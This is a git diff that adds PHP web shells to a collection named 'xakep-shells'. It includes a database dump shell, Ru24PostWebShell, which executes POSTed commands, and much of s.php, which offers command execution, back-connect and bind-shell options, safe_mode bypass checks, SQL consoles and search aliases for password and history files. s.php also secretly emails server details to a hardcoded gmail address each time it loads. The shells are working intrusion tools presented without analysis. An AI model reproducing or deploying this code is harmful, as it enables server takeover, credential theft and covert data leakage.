+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+$dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+unlink($file);
+}
+
+/*----------Òîëüêî äàííûå------------*/
+if ($HTTP_GET_VARS['strukt']=='d' && $HTTP_GET_VARS['send']=='send_br'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+$dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+unlink($file);
+}
+/*-------------END! ïîêàçàòü ñòðîêè òàáëèöû--------------*/
+
+print "
+
+
+
+
+
+
";
+}
+
+/*------------------------ END R I G H T B L O C K ! -----------------------*/
+/*èíôîðìàöèÿ php*/
+if (isset($php) && $php=='ok'){
+phpinfo();
+}
+if (isset($q_help) && $q_help=='ok'){
+ print 'Ìèíè HELP ïî çàïðîñàì
+ SHOW TABLES âûâîäèò ñïèñîê òàáëèö áàçû
+ SHOW OPEN TABLES âûâîäèò ñïèñîê òàáëèö, êîòîðûå â íàñòîÿùèé ìîìåíò îòêðûòû â êýøå òàáëèöû
+ SHOW TABLE STATUS ñòðóêòóðà òàáëèö áàçû
+ SELECT VERSION(), CURRENT_DATE âûâîäèò âåðñèþ MySQL ñåðâåðà è òåêóùóþ äàòó
+ SELECT (2*2), (4+1)*5, (9/3), (5-3) èñïîëüçóåì MySQL êàê êàëüêóëÿòîð: óêàçûâàåì ÷åðåç çàïÿòóþ àðèôìåòè÷åñêèå îïåðàöèè
+ DROP TABLE IF EXISTS table_name óäàëèòü òàáëèöó \"table_name\"
+ CREATE TABLE bar (m INT) ñîçäàòü òàáëèöó bar ñ îäíèì ñòîëáöîì (m) òèïà integer
+ CREATE TABLE test (number INTEGER,texts CHAR(10)); ñîçäàòü òàáëèöó test ñ ïîëÿìè number -òèï INTEGER è ïîëå texts -òèï CHAR
+ CREATE TABLE `test` SELECT * FROM `rush`; ñîçäàòü òàáëèöó test ,êîïèðóÿ òàáëèöó rush
+ ALTER TABLE test CHANGE SITE OLD_SITE INTEGER ïåðåèìåíîâàòü ñòîëáåö INTEGER èç SITE â OLD_SITE
+ ALTER TABLE test RENAME rush ïåðåèìåíîâàòü òàáëèöó test â rush
+ UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\' ñìåíèòü þçåðó root ïàðîëü
+ FLUSH PRIVILEGES ïåðå÷èòàòü òàáëèöó ïðèâèëåãèé þçåðîâ
+ GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION äîáàâèòü íîâîãî ñóïåð-þçåðà mysql rst ñ ïàðîëåì some_pass
+ ';
+
+}
+
+print "
+
+
+
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+
";
+
+?>
diff --git a/xakep-shells/PHP/ru24_post_sh.php.php.txt b/xakep-shells/PHP/ru24_post_sh.php.php.txt
new file mode 100644
index 0000000..5600c64
--- /dev/null
+++ b/xakep-shells/PHP/ru24_post_sh.php.php.txt
@@ -0,0 +1,23 @@
+
+
+Ru24PostWebShell - ".$_POST['cmd']."
+
+";
+echo " ";
+echo " ";
+echo " ";
+echo "";
+if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
+echo "".$function($_POST['cmd'])." ";
+
+
+?>
diff --git a/xakep-shells/PHP/s.php.php.txt b/xakep-shells/PHP/s.php.php.txt
new file mode 100644
index 0000000..f6abddc
--- /dev/null
+++ b/xakep-shells/PHP/s.php.php.txt
@@ -0,0 +1,1887 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_SERVER as $k=>$v)
+ {
+ $_SERVER[$k] = stripslashes($v);
+ }
+ }
+$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+/* ~~~ Аутентификация ~~~ */
+
+// $auth = 1; - Аутентификация включена
+// $auth = 0; - Аутентификация выключена
+$auth = 0;
+
+// Логин и пароль для доступа к скрипту
+// НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!!
+$name='Root'; // логин пользователя
+$pass='pass'; // пароль пользователя
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="shell"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit(" : Access Denied");
+ }
+}
+$head = '
+
+
+pang0
+
+
+';
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if ($_POST['cmd']=="db_query")
+ {
+ echo $head;
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mysql_query($query,$db);
+ $error = @mysql_error($db);
+ if($error) { echo " "; }
+ else {
+ if (@mysql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mysql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @mysql_affected_rows($db))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @mysql_free_result($res);
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "MsSQL Server ile baglanti kurulamadi
";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mssql_query($query,$db);
+ if (@mssql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mssql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "affected rows : ".$rows."
"; } else { echo " "; }} */
+ @mssql_free_result($res);
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "MSSQL server ile baglanti Kurulamadi
";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @pg_query($db,$query);
+ $error = @pg_errormessage($db);
+ if($error) { echo " "; }
+ else {
+ if (@pg_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @pg_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @pg_affected_rows($res))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @pg_free_result($res);
+ }
+ }
+ @pg_close($db);
+ }
+ else echo "PostgreSQL server ile baglanti kurulamadi
";
+ break;
+ case 'Oracle':
+ $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
+ if(($error = @ocierror())) { echo " Oracle server ile baglanti kurulamadi ".$error['message']."
"; }
+ else
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5) {
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $stat = @ociparse($db, $query);
+ @ociexecute($stat);
+ if(($error = @ocierror())) { echo "Error : ".$error['message']."
"; }
+ else
+ {
+ $rowcount = @ocirowcount($stat);
+ if($rowcount != 0) {echo "affected rows : ".$rowcount."
";}
+ else {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ocicolumnname($stat, $j))." "; }
+ echo " ";
+ while(ocifetch($stat))
+ {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ociresult($stat, $j))." "; }
+ echo " ";
+ }
+ echo "
";
+ }
+ @ocifreestatement($stat);
+ }
+ }
+ }
+ @ocilogoff($db);
+ }
+ break;
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+/*
+Выбор языка
+$language='eng' - русский
+$language='ru' - английский
+*/
+$language='eng';
+$lang=array(
+'ru_text1' =>'Выполненная команда',
+'ru_text2' =>'Выполнение команд на сервере',
+'ru_text3' =>'Выполнить команду',
+'ru_text4' =>'Рабочая директория',
+'ru_text5' =>'Загрузка файлов на сервер',
+'ru_text6' =>'Локальный файл',
+'ru_text7' =>'Алиасы',
+'ru_text8' =>'Выберите алиас',
+'ru_butt1' =>'Выполнить',
+'ru_butt2' =>'Загрузить',
+'ru_text9' =>'Открытие порта и привязка его к /bin/bash',
+'ru_text10'=>'Открыть порт',
+'ru_text11'=>'Пароль для доступа',
+'ru_butt3' =>'Открыть',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-адрес',
+'ru_text14'=>'Порт',
+'ru_butt4' =>'Выполнить',
+'ru_text15'=>'Загрузка файлов с удаленного сервера',
+'ru_text16'=>'Использовать',
+'ru_text17'=>'Удаленный файл',
+'ru_text18'=>'Локальный файл',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'Использовать',
+'ru_text21'=>'Новое имя',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'Локальный порт',
+'ru_text24'=>'Удаленный хост',
+'ru_text25'=>'Удаленный порт',
+'ru_text26'=>'Использовать',
+'ru_butt5' =>'Запустить',
+'ru_text28'=>'Работа в safe_mode',
+'ru_text29'=>'Доступ запрещен',
+'ru_butt6' =>'Сменить',
+'ru_text30'=>'Просмотр файла',
+'ru_butt7' =>'Вывести',
+'ru_text31'=>'Файл не найден',
+'ru_text32'=>'Выполнение PHP кода',
+'ru_text33'=>'Проверка возможности обхода ограничений open_basedir через функции cURL',
+'ru_butt8' =>'Проверить',
+'ru_text34'=>'Проверка возможности обхода ограничений safe_mode через функцию include',
+'ru_text35'=>'Проверка возможности обхода ограничений safe_mode через загрузку файла в mysql',
+'ru_text36'=>'База',
+'ru_text37'=>'Логин',
+'ru_text38'=>'Пароль',
+'ru_text39'=>'Таблица',
+'ru_text40'=>'Дамп таблицы базы данных',
+'ru_butt9' =>'Дамп',
+'ru_text41'=>'Сохранить в файле',
+'ru_text42'=>'Редактирование файла',
+'ru_text43'=>'Редактировать файл',
+'ru_butt10'=>'Сохранить',
+'ru_butt11'=>'Редактировать',
+'ru_text44'=>'Редактирование файла невозможно! Доступ только для чтения!',
+'ru_text45'=>'Файл сохранен',
+'ru_text46'=>'Просмотр phpinfo()',
+'ru_text47'=>'Просмотр настроек php.ini',
+'ru_text48'=>'Удаление временных файлов',
+'ru_text49'=>'Удаление скрипта с сервера',
+'ru_text50'=>'Информация о процессоре',
+'ru_text51'=>'Информация о памяти',
+'ru_text52'=>'Текст для поиска',
+'ru_text53'=>'Искать в папке',
+'ru_text54'=>'Поиск текста в файлах',
+'ru_butt12'=>'Найти',
+'ru_text55'=>'Только в файлах',
+'ru_text56'=>'Ничего не найдено',
+'ru_text57'=>'Создать/Удалить Файл/Директорию',
+'ru_text58'=>'Имя',
+'ru_text59'=>'Файл',
+'ru_text60'=>'Директорию',
+'ru_butt13'=>'Создать/Удалить',
+'ru_text61'=>'Файл создан',
+'ru_text62'=>'Директория создана',
+'ru_text63'=>'Файл удален',
+'ru_text64'=>'Директория удалена',
+'ru_text65'=>'Создать',
+'ru_text66'=>'Удалить',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'Команда',
+'ru_text69'=>'Параметр1',
+'ru_text70'=>'Параметр2',
+'ru_text71'=>"Второй параметр команды:\r\n- для CHOWN - имя нового пользователя или его UID (числом) \r\n- для команды CHGRP - имя группы или GID (числом) \r\n- для команды CHMOD - целое число в восьмеричном представлении (например 0777)",
+'ru_text72'=>'Текст для поиска',
+'ru_text73'=>'Искать в папке',
+'ru_text74'=>'Искать в файлах',
+'ru_text75'=>'* можно использовать регулярное выражение',
+'ru_text76'=>'Поиск текста в файлах с помощью утилиты find',
+'ru_text77'=>'Просмотр структуры базы данных',
+'ru_text78'=>'Показывать таблицы',
+'ru_text79'=>'Показывать столбцы',
+'ru_text80'=>'Тип',
+'ru_text81'=>'Сеть',
+'ru_text82'=>'Базы данных',
+'ru_text83'=>'Выполнение SQL запроса',
+'ru_text84'=>'SQL запрос',
+'ru_text85'=>'Проверка возможности обхода ограничений safe_mode через выполнение команд в MSSQL сервере',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Komut Uygula',
+'eng_text2' =>'Server uzerinde komut calistir',
+'eng_text3' =>'Komut istemi',
+'eng_text4' =>'Calisma dizini',
+'eng_text5' =>'Servere Dosya Upload et',
+'eng_text6' =>'Yerel Dosya',
+'eng_text7' =>'Dizin Veya Dosya Bul',
+'eng_text8' =>'Sec',
+'eng_butt1' =>'Uygula',
+'eng_butt2' =>'Yukle',
+'eng_text9' =>'Porta baglan /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Sifre Giris',
+'eng_butt3' =>'Baglan',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Baglan',
+'eng_text15'=>'Uzaktan servere dosya yukle',
+'eng_text16'=>'ile',
+'eng_text17'=>'Uzak Dosya',
+'eng_text18'=>'Yerel Dosya',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'Kullan',
+'eng_text21'=>' Yeni ad',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Yerel port',
+'eng_text24'=>'Uzak host',
+'eng_text25'=>'Uzak port',
+'eng_text26'=>'Kullan',
+'eng_butt5' =>'Iste',
+'eng_text28'=>'Guvenlik Modunda Calis',
+'eng_text29'=>'Giris Yasak',
+'eng_butt6' =>'Degistir',
+'eng_text30'=>'Cat file',
+'eng_butt7' =>'Goster',
+'eng_text31'=>'Dosya Bulunamadi',
+'eng_text32'=>'PHP kod degerlendir',
+'eng_text33'=>'cUcurlL fonksiyonu ile open_basedir atlamayi test et.',
+'eng_butt8' =>'Testet',
+'eng_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.',
+'eng_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.',
+'eng_text36'=>'Database[VeriTabani]',
+'eng_text37'=>'Kullanici',
+'eng_text38'=>'Sifre',
+'eng_text39'=>'Tablo',
+'eng_text40'=>'Dump database table[DB Tablosu dok]',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'DB dosyalarini kaydet.[Dump filed]',
+'eng_text42'=>'Dosya Duzenle',
+'eng_text43'=>'Dosya Duzenlemek icin',
+'eng_butt10'=>'Kaydet',
+'eng_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor',
+'eng_text45'=>'Dosya Kaydedildi',
+'eng_text46'=>'PHPinfo Goster',
+'eng_text47'=>'php.ini dosyasinda ki degiskenleri goster',
+'eng_text48'=>'Temp dosylarini sil',
+'eng_butt11'=>'Dosya Duzenle',
+'eng_text49'=>'Server dan bu scripti sil',
+'eng_text50'=>'CPU bilgisini incele',
+'eng_text51'=>'Memory[hafiza] bilgisini incele]',
+'eng_text52'=>'Metin Bul',
+'eng_text53'=>'Dizin icinde',
+'eng_text54'=>'Dosyalarda ki metni bul',
+'eng_butt12'=>'Bul',
+'eng_text55'=>'Sadece dosyalarda ki',
+'eng_text56'=>'Bulunmadi :( KeyCoder :)',
+'eng_text57'=>'Olustur/Sil Dosya/Dizin',
+'eng_text58'=>'isim',
+'eng_text59'=>'dosya',
+'eng_text60'=>'dizin',
+'eng_butt13'=>'Olustur/Sil',
+'eng_text61'=>'Dosya Olustur',
+'eng_text62'=>'Dizin Olustur',
+'eng_text63'=>'Dosya Sil',
+'eng_text64'=>'Dizin Sil',
+'eng_text65'=>'Olustur',
+'eng_text66'=>'Sil',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Uygula',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Metin Bul',
+'eng_text73'=>'Klasor Bul',
+'eng_text74'=>'Dosya Bul',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Metin ara dosyalarin icinde arama yoluyla',
+'eng_text77'=>'Database yapisini Goster',
+'eng_text78'=>'Tablolari Goster',
+'eng_text79'=>'Sutunlari Goster',
+'eng_text80'=>'Cesit',
+'eng_text81'=>'Net',
+'eng_text82'=>'Databases',
+'eng_text83'=>'SQL sorgusu yap',
+'eng_text84'=>'SQL sorgusu',
+);
+/*
+Алиасы команд
+Позволяют избежать многократного набора одних и тех-же команд. ( Сделано благодаря моей природной лени )
+Вы можете сами добавлять или изменять команды.
+*/
+$aliases=array(
+'Uygun Dosyalari bul'=>'find / -type f -perm -04000 -ls',
+'Genel uygun dosyalari dizinlerde bul'=>'find . -type f -perm -04000 -ls',
+'sgid dosyalari bul'=>'find / -type f -perm -02000 -ls',
+'sgid uygun dosyalari dizinlerde bul'=>'find . -type f -perm -02000 -ls',
+'config.inc.php dosyalarini bul'=>'find / -type f -name config.inc.php',
+'config.inc.php dosyalarini dizinlerde bul'=>'find . -type f -name config.inc.php',
+'config* dosyalarini bul'=>'find / -type f -name "config*"',
+'config* dosyalarini dizinlerde bul'=>'find . -type f -name "config*"',
+'Yazilabilir Dosyalari bul'=>'find / -type f -perm -2 -ls',
+'Yazilabilir Dosyalari dizinlerde bul'=>'find . -type f -perm -2 -ls',
+'Yazilabilir klasorleri bul'=>'find / -type d -perm -2 -ls',
+'Yazilabilir butun klasorleri dizinlerde bul'=>'find . -type d -perm -2 -ls',
+'Yazilabilir dosya ve klasorleri bul'=>'find / -perm -2 -ls',
+'Yazilabilir butun dosya ve klasorleri dizinlerde bul'=>'find . -perm -2 -ls',
+'Butun service.pwd dosyalarini bul'=>'find / -type f -name service.pwd',
+'service.pwd dosyalarini genel dizinlerde bul'=>'find . -type f -name service.pwd',
+'Butun .htpasswd dosyalarini bul '=>'find / -type f -name .htpasswd',
+'.htpasswd dosylarini genel dizinlerde bul'=>'find . -type f -name .htpasswd',
+'Butun .bash_history dosyalarini bul'=>'find / -type f -name .bash_history',
+'.bash_history dosyalarini genel dizinlerde bul'=>'find . -type f -name .bash_history',
+'Butun .mysql_history dosyalarini bul'=>'find / -type f -name .mysql_history',
+'.mysql_history dosyalarini genel dizinlerde bul'=>'find . -type f -name .mysql_history',
+'Butun .fetchmailrc dosyalarini bul'=>'find / -type f -name .fetchmailrc',
+'.fetchmailrc dosylarini genel dizinlerde bul'=>'find . -type f -name .fetchmailrc',
+'Linux uzerinde erisilebilinen sistem dosyalarini listele'=>'lsattr -va',
+'Acilan portlari goster'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " и ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$windows = 0;
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $windows = 1; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= ($windows)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if($windows&&!$safe_mode)
+ {
+ $uname = ex("ver");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+else if($unix&&!$safe_mode)
+ {
+ $uname = ex("uname");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function we($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Не могу записать в файл '; }
+else { $text = "[-] HATA! Dosya yazilabilir de?il ! "; }
+echo "";
+return null;
+}
+function re($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Не могу прочитать файл '; }
+else { $text = "[-] HATA! Dosyayi okuma izni yok! "; }
+echo "";
+return null;
+}
+function ce($i)
+{
+if($GLOBALS['language']=="ru"){ $text = "Не удалось создать "; }
+else { $text = "Olusturulamadi "; }
+echo "";
+return null;
+}
+function perms($mode)
+{
+if ($GLOBALS['windows']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
